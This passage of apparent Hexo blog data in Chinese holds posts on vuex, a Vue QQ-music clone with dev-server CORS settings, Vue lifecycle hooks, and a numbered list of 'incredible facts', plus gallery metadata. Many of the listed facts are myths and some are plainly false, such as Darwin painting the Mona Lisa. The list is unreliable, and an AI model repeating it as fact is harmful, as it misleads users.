louddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"store.dispatch(‘increment’)
\n
提供方法和API请求,类似于mutation
\n\n\nmutation 修改 state 只能是同步的
\n\n
\n- action 充满了各种异步 api
\nactions: {\n increment (context) {\n context.commit('increment')\n }\n}\n另一种写法\nincrement({commit}) {\n commit('increment')\n}\n
\n\n"},{"title":"vue高仿qq音乐官网","date":"2017-06-15T10:36:30.000Z","top":true,"_content":"\n一直想做一个vue项目 然后呢 我就做了\n\n## 效果预览\n\n部分地方不全部根据原版,也有自由发挥的,目前功能模块比较简陋,如果显示不完整,请下载以下api文件并打开\n> [网易云音乐API](https://github.com/Binaryify/NeteaseCloudMusicApi)\n\n\n> 项目地址:[github](https://github.com/j710328466/vue-qqmusic)\n\n> 预览地址:[demo](http://182.254.147.168:8564/#/)\n\n## Build Setup\n\n\n```\n# install dependencies\ncnpm i\n(可以用cnpm或yarn,更方便快捷,你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n```\n## 技术栈\n\n* vue(数据绑定)\n* vue-router\n* vuex(管理组件状态,实现组件通信)\n* webpack(打包工具)\n* scss(原来想用stylus,回头看看我都快写完了...)\n* axios(我等下要重点讲这****)\n* 组件库: element-UI(本来想用muse-UI,感觉那个更cool,下次吧..) \n* API: 网易云音乐API(仿qq音乐我用网易云音乐的东西,你怕不怕...)\n\n## 核心功能组件的实现\n\n### 搜索功能\n\n\n\n### 播放功能\n\n\n (播放页面正在完善中,样式只是大概,待细化...)\n\n### 跳转功能\n \n\n (目前子目录只开通歌手列表)\n\n\n## 自己挖的坑,自己埋\n\n### vuex的模块应用\n\n* 一开始我并没有使用vuex,因为我觉得目前这个项目比较小,并不需要它来管理数据,毕竟vuex针对大项目来说确实很好用,但是后来考虑到如果后期该项目我还要 维护,数据量一大,还是要重新分类数据,所以中途某些地方插入了vuex的使用,这就很大一部分影响了项目进行的进度。(目前只用到action和state)\n\n### qq音乐的轮播图\n* 不用说,qq音乐这个网站的页面我是真的挺喜欢,不光是他的设计,页面的布局也很美观,在控制台调试的时候可以看看它的结构,非常有层次而富有美感,即使加上 一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦,不是说做不出来,因为这是第一次上传的项目,我想先将大概的结构完善一下,后期再 维护,所以我就选用了element-UI里面的跑马灯式轮播图组件,大体来说,除了部分瑕疵以外,还是高度还原了原版轮播图的。\n\n### axios后端数据获取时产生的跨域问题\n\n* 重点来了,这个是我在该项目中花了最多时间的地方,相信很多同学使用axios都碰到过我这个问题,目前我这里使用了三种方法处理该问题,请大家针对自己的项目问题对号入座\n \n* 跨域访问,简单来说就是 A 网站的 javascript 代码试图访问 B 网站,包括提交内容和获取内容。由于安全原因,跨域访问是被各大浏览器所默认禁止的。\n \n①. 针对本地相同端口服务器之间的跨域\n \n* 这是我刚开始碰到问题时使用的第一种,这个时候你只需要找到build文件中的dev-server,找到引用express的位置,给它加上一个头文件:\n ``` \n app.all('*', function (req, res, next) {\n res.header(\"Access-Control-Allow-Credentials\", true)\n res.header(\"Access-Control-Allow-Origin\", \"*\")\n res.header(\"Access-Control-Allow-Headers\", \"X-Requested-With\")\n res.header(\"Access-Control-Allow-Methods\", \"PUT,POST,GET,DELETE,OPTIONS\")\n res.header(\"X-Powered-By\", ' 3.2.1')\n res.header(\"Content-Type\", \"application/json;charset=utf-8\")\n next()\n })\n ```\n \n> \n\n* 然后它就会报错~,具体原因是你同一个端口申请相同端口的东西,不好意思,那不叫跨域...\nstore.dispatch(‘increment’)
\n
一直想做一个vue项目 然后呢 我就做了
\n部分地方不全部根据原版,也有自由发挥的,目前功能模块比较简陋,如果显示不完整,请下载以下api文件并打开
\n\n\n\n
\n\n项目地址:github
\n
\n\n预览地址:demo
\n
# install dependencies\ncnpm i\n(可以用cnpm或yarn,更方便快捷,你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n
(播放页面正在完善中,样式只是大概,待细化…)
(目前子目录只开通歌手列表)
重点来了,这个是我在该项目中花了最多时间的地方,相信很多同学使用axios都碰到过我这个问题,目前我这里使用了三种方法处理该问题,请大家针对自己的项目问题对号入座
\n跨域访问,简单来说就是 A 网站的 javascript 代码试图访问 B 网站,包括提交内容和获取内容。由于安全原因,跨域访问是被各大浏览器所默认禁止的。
\n①. 针对本地相同端口服务器之间的跨域
\n app.all('*', function (req, res, next) {\n res.header("Access-Control-Allow-Credentials", true)\n res.header("Access-Control-Allow-Origin", "*")\n res.header("Access-Control-Allow-Headers", "X-Requested-With")\n res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS")\n res.header("X-Powered-By", ' 3.2.1')\n res.header("Content-Type", "application/json;charset=utf-8")\n next()\n })\n
\n\n\n
然后它就会报错~,具体原因是你同一个端口申请相同端口的东西,不好意思,那不叫跨域…
②. 针对本地不同端口的服务器之间的跨域
就是将上面的头文件放在当前项目申请的服务器的那个api中。
③. 针对本地服务器对域名服务器访问的跨域问题
找到当前项目congfig文件夹下index.js文件,然后在文件中将proxyTable内容改为:
\nproxyTable: {\n '/api': {\n target: '[1]',\n changeOrigin: true,\n pathRewrite: {\n '^/api': '/'\n }\n }\n }\n
\n\n就是你当前想访问的api地址,项目中访问的时候就只要用/api做反向代理即可
\n
这是我第一个用vue撸的项目,可能功能有点简陋,很多地方有待提高,不过这次实践让我对组件化的理解有了一定的提升,后期会继续加入其它功能模块的,文中有用词不对的地方,欢迎大家指出,项目有什么bug,也希望大家多多提issue
\n如果对你有帮助,给个star吧
\n一直想做一个vue项目 然后呢 我就做了
\n部分地方不全部根据原版,也有自由发挥的,目前功能模块比较简陋,如果显示不完整,请下载以下api文件并打开
\n\n\n\n
\n\n项目地址:github
\n
\n\n预览地址:demo
\n
# install dependencies\ncnpm i\n(可以用cnpm或yarn,更方便快捷,你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n
(播放页面正在完善中,样式只是大概,待细化…)
(目前子目录只开通歌手列表)
重点来了,这个是我在该项目中花了最多时间的地方,相信很多同学使用axios都碰到过我这个问题,目前我这里使用了三种方法处理该问题,请大家针对自己的项目问题对号入座
\n跨域访问,简单来说就是 A 网站的 javascript 代码试图访问 B 网站,包括提交内容和获取内容。由于安全原因,跨域访问是被各大浏览器所默认禁止的。
\n①. 针对本地相同端口服务器之间的跨域
\n app.all('*', function (req, res, next) {\n res.header("Access-Control-Allow-Credentials", true)\n res.header("Access-Control-Allow-Origin", "*")\n res.header("Access-Control-Allow-Headers", "X-Requested-With")\n res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS")\n res.header("X-Powered-By", ' 3.2.1')\n res.header("Content-Type", "application/json;charset=utf-8")\n next()\n })\n
\n\n\n
然后它就会报错~,具体原因是你同一个端口申请相同端口的东西,不好意思,那不叫跨域…
②. 针对本地不同端口的服务器之间的跨域
就是将上面的头文件放在当前项目申请的服务器的那个api中。
③. 针对本地服务器对域名服务器访问的跨域问题
找到当前项目congfig文件夹下index.js文件,然后在文件中将proxyTable内容改为:
\nproxyTable: {\n '/api': {\n target: '[1]',\n changeOrigin: true,\n pathRewrite: {\n '^/api': '/'\n }\n }\n }\n
\n\n就是你当前想访问的api地址,项目中访问的时候就只要用/api做反向代理即可
\n
这是我第一个用vue撸的项目,可能功能有点简陋,很多地方有待提高,不过这次实践让我对组件化的理解有了一定的提升,后期会继续加入其它功能模块的,文中有用词不对的地方,欢迎大家指出,项目有什么bug,也希望大家多多提issue
\n如果对你有帮助,给个star吧
\nbeforeCreate
\n\n\n在实例初始化之后,数据观测(data observer) 和 event/watcher 事件配置之前被调用。
\n
created
\n\n\n实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。
\n
beforeMount
\n\n\n在挂载开始之前被调用:相关的 render 函数首次被调用。
\n
mounted
\n\n\nel 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素,当 mounted 被调用时 vm.$el 也在文档内。
\n
beforeUpdate
\n\n\n数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
\n
updated
\n\n\n由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
\n
当这个钩子被调用时,组件 DOM 已经更新,所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。
该钩子在服务器端渲染期间不被调用。
beforeDestroy
\n\n\n实例销毁之前调用。在这一步,实例仍然完全可用。
\n
destroyed
\n\n\nVue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。
\n
\n\nvar vm = new Vue({
\n
data: data
})
Vue的实例封装的还是挺有艺术性的,很符合开发者的思维规范,它的生命周期也非常清晰,使用起来也非常方便。MVVM双向绑定思想也是吊的可以
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"beforeCreate
\n\n\n在实例初始化之后,数据观测(data observer) 和 event/watcher 事件配置之前被调用。
\n
created
\n\n\n实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。
\n
beforeMount
\n\n\n在挂载开始之前被调用:相关的 render 函数首次被调用。
\n
mounted
\n\n\nel 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素,当 mounted 被调用时 vm.$el 也在文档内。
\n
beforeUpdate
\n\n\n数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
\n
updated
\n\n\n由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
\n
当这个钩子被调用时,组件 DOM 已经更新,所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。
该钩子在服务器端渲染期间不被调用。
beforeDestroy
\n\n\n实例销毁之前调用。在这一步,实例仍然完全可用。
\n
destroyed
\n\n\nVue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。
\n
\n\nvar vm = new Vue({
\n
data: data
})
Vue的实例封装的还是挺有艺术性的,很符合开发者的思维规范,它的生命周期也非常清晰,使用起来也非常方便。MVVM双向绑定思想也是吊的可以
\n"},{"title":"一些不可思议的的事","date":"2017-03-07T14:23:37.000Z","_content":"\n1. 没有一张纸可对折超过7次 \n2. 根据统计每年骡仔所杀的人比飞机失事所死的人还多 \n3. 人睡觉比坐着看电视所消耗的卡路里还多 \n4. Wright'sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 \n5. 很多人每朝起来都喝一杯咖啡提神,但其实一个苹果比一杯咖啡还有效 \n6. 你的家中多数尘埃都是你的死皮 \n7. 洋娃娃Barbie 全名是Barabra Millicent Roberts\n8. 希特拉的妈妈在怀有希特拉曾认真地考虑堕胎,不过被医说服,结果把他生下来 \n9. 玛丽莲梦露有6只脚趾 \n10. 降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗\n11. 印度尼西亚竹节虫是全世界最大的昆虫,有些光是身长就有一呎长\n12. 其实,河马跑得比人快 \n13. 珍珠在醋中会溶 \n14. 一只70磅的章鱼可以穿过一个仅一枚银币大小的洞,因为他们没有脊椎 \n15. 你有可能将一只牛拉上楼梯,但牛是不懂下楼梯的 \n16. 猪不能仰头望天空 \n17. 'quick brown fox jumps over the lazy dog'可以用尽26个字母 \n18. 鸭的叫声是不会有回音的,暂时没有人知何解 \n19. 蜗牛可不吃东西睡3年 \n20. 著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 \n21. 如果一个月中,第一天是星期日,那个月便出现黑色星期五 \n22. 把石头放在微波炉中加热会爆炸 \n23. 1,111,111 x 1,111,111 = 1234567654321 \n24. 唯一一个有15英文字母而又不会重复是的英文字'uncopyrightable' \n25. 猫可发出超过100个音,狗却只能发10个音 \n26. 愈黑的环境下,猫的排尿次数会增加 \n27. 将一个硬币向上抛1000次,字向上的次数是495次,不是500次,因为公较重 \n28. 根据牛津字典世界上最长的英文字是'pneumonoultramicroscopicsilicovolcanoconiosis' \n29. 人体的胃每2个星期便会更新一次分泌物,否则它会自我消化 \n30. 可乐原是绿色的 \n31. 虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗,胜利者就是可以活着出生的小虎鲨 \n32. 走路上班的人最高比率的省是阿拉斯加 \n33. 如果Barbie是人类,她是身形是39-23-33 \n34. 美国平均每小时在空中的人有61000人 \n35. 只有一种食物不会变坏:蜜糖 \n36. 在加勒比海附近有一种蚝是会爬榭的 \n37. 世界上最年轻的父母在1910年出现,一个8岁及另一个9岁的中国人 \n38. 人顃的鼻及耳是毕生都不断长大 \n39. 下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 \n41. 乳牛听音乐时可以供应更多牛奶 \n42. 一条长颈鹿的舌头有2尺长 \n43. 大象可用头来站立 \n44. 蚂蚁早上醒来会抓痒 \n45. 伟大发明家爱迪生是怕黑的 \n46. 世上最老的金鱼是41岁,名叫Fred \n47. 爱因斯坦9岁时不能流利说话,他妈妈曾经一度以为他是弱智 \n48. 阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 \n49. 只有55%的美国人知道太阳是一个星体 \n50. 多数唇膏是有鱼鳞的 \n51. 长颈鹿没办法咳嗽 \n52. 猫头鹰是唯一能够分辨蓝色的鸟类 \n53. 一只鲸鱼一分钟心跳只有九下 \n54. 我们喝到肚子里头的水已经有三亿岁了 \n55. 只有百分之三十的人可以放大缩小自己的鼻孔 \n56. 一只牡蛎的性别会由男变女,此后一生中还会变个几次 \n57. 根据一项1845年由英国通过的法律,自杀是非常严重的罪,最重可以处以吊死的极刑 \n58. 在太空中航天员是没办法哭的,因为没有地心引力,眼泪流不出来 \n59. 一只变色龙的舌头是它自己身体的两倍长 \n60. 最常用牙签的人是美国人 \n61. 一个正常人的眼部肌肉一天平均要动上一万到一万五千次 \n62. 大象死后还会保持站立姿势 \n63. 有些昆虫没有头还可以再活上一年 \n64. 达尔文光是画蒙那莉萨的嘴唇就花上十二年 \n65. 玻璃破掉时,玻璃碎片的时速最高可达每小时三千英哩 \n\n> 世间真是无奇不有....","source":"_posts/一些不可思议的的事.md","raw":"---\ntitle: 一些不可思议的的事\ndate: 2017-03-07 22:23:37\ntags: [趣事]\ncategories: 生活\n---\n\n1. 没有一张纸可对折超过7次 \n2. 根据统计每年骡仔所杀的人比飞机失事所死的人还多 \n3. 人睡觉比坐着看电视所消耗的卡路里还多 \n4. Wright'sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 \n5. 很多人每朝起来都喝一杯咖啡提神,但其实一个苹果比一杯咖啡还有效 \n6. 你的家中多数尘埃都是你的死皮 \n7. 洋娃娃Barbie 全名是Barabra Millicent Roberts\n8. 希特拉的妈妈在怀有希特拉曾认真地考虑堕胎,不过被医说服,结果把他生下来 \n9. 玛丽莲梦露有6只脚趾 \n10. 降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗\n11. 印度尼西亚竹节虫是全世界最大的昆虫,有些光是身长就有一呎长\n12. 其实,河马跑得比人快 \n13. 珍珠在醋中会溶 \n14. 一只70磅的章鱼可以穿过一个仅一枚银币大小的洞,因为他们没有脊椎 \n15. 你有可能将一只牛拉上楼梯,但牛是不懂下楼梯的 \n16. 猪不能仰头望天空 \n17. 'quick brown fox jumps over the lazy dog'可以用尽26个字母 \n18. 鸭的叫声是不会有回音的,暂时没有人知何解 \n19. 蜗牛可不吃东西睡3年 \n20. 著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 \n21. 如果一个月中,第一天是星期日,那个月便出现黑色星期五 \n22. 把石头放在微波炉中加热会爆炸 \n23. 1,111,111 x 1,111,111 = 1234567654321 \n24. 唯一一个有15英文字母而又不会重复是的英文字'uncopyrightable' \n25. 猫可发出超过100个音,狗却只能发10个音 \n26. 愈黑的环境下,猫的排尿次数会增加 \n27. 将一个硬币向上抛1000次,字向上的次数是495次,不是500次,因为公较重 \n28. 根据牛津字典世界上最长的英文字是'pneumonoultramicroscopicsilicovolcanoconiosis' \n29. 人体的胃每2个星期便会更新一次分泌物,否则它会自我消化 \n30. 可乐原是绿色的 \n31. 虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗,胜利者就是可以活着出生的小虎鲨 \n32. 走路上班的人最高比率的省是阿拉斯加 \n33. 如果Barbie是人类,她是身形是39-23-33 \n34. 美国平均每小时在空中的人有61000人 \n35. 只有一种食物不会变坏:蜜糖 \n36. 在加勒比海附近有一种蚝是会爬榭的 \n37. 世界上最年轻的父母在1910年出现,一个8岁及另一个9岁的中国人 \n38. 人顃的鼻及耳是毕生都不断长大 \n39. 下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 \n41. 乳牛听音乐时可以供应更多牛奶 \n42. 一条长颈鹿的舌头有2尺长 \n43. 大象可用头来站立 \n44. 蚂蚁早上醒来会抓痒 \n45. 伟大发明家爱迪生是怕黑的 \n46. 世上最老的金鱼是41岁,名叫Fred \n47. 爱因斯坦9岁时不能流利说话,他妈妈曾经一度以为他是弱智 \n48. 阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 \n49. 只有55%的美国人知道太阳是一个星体 \n50. 多数唇膏是有鱼鳞的 \n51. 长颈鹿没办法咳嗽 \n52. 猫头鹰是唯一能够分辨蓝色的鸟类 \n53. 一只鲸鱼一分钟心跳只有九下 \n54. 我们喝到肚子里头的水已经有三亿岁了 \n55. 只有百分之三十的人可以放大缩小自己的鼻孔 \n56. 一只牡蛎的性别会由男变女,此后一生中还会变个几次 \n57. 根据一项1845年由英国通过的法律,自杀是非常严重的罪,最重可以处以吊死的极刑 \n58. 在太空中航天员是没办法哭的,因为没有地心引力,眼泪流不出来 \n59. 一只变色龙的舌头是它自己身体的两倍长 \n60. 最常用牙签的人是美国人 \n61. 一个正常人的眼部肌肉一天平均要动上一万到一万五千次 \n62. 大象死后还会保持站立姿势 \n63. 有些昆虫没有头还可以再活上一年 \n64. 达尔文光是画蒙那莉萨的嘴唇就花上十二年 \n65. 玻璃破掉时,玻璃碎片的时速最高可达每小时三千英哩 \n\n> 世间真是无奇不有....","slug":"一些不可思议的的事","published":1,"updated":"2018-01-22T06:30:39.411Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y62002pvzqhoull3bze","content":"\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪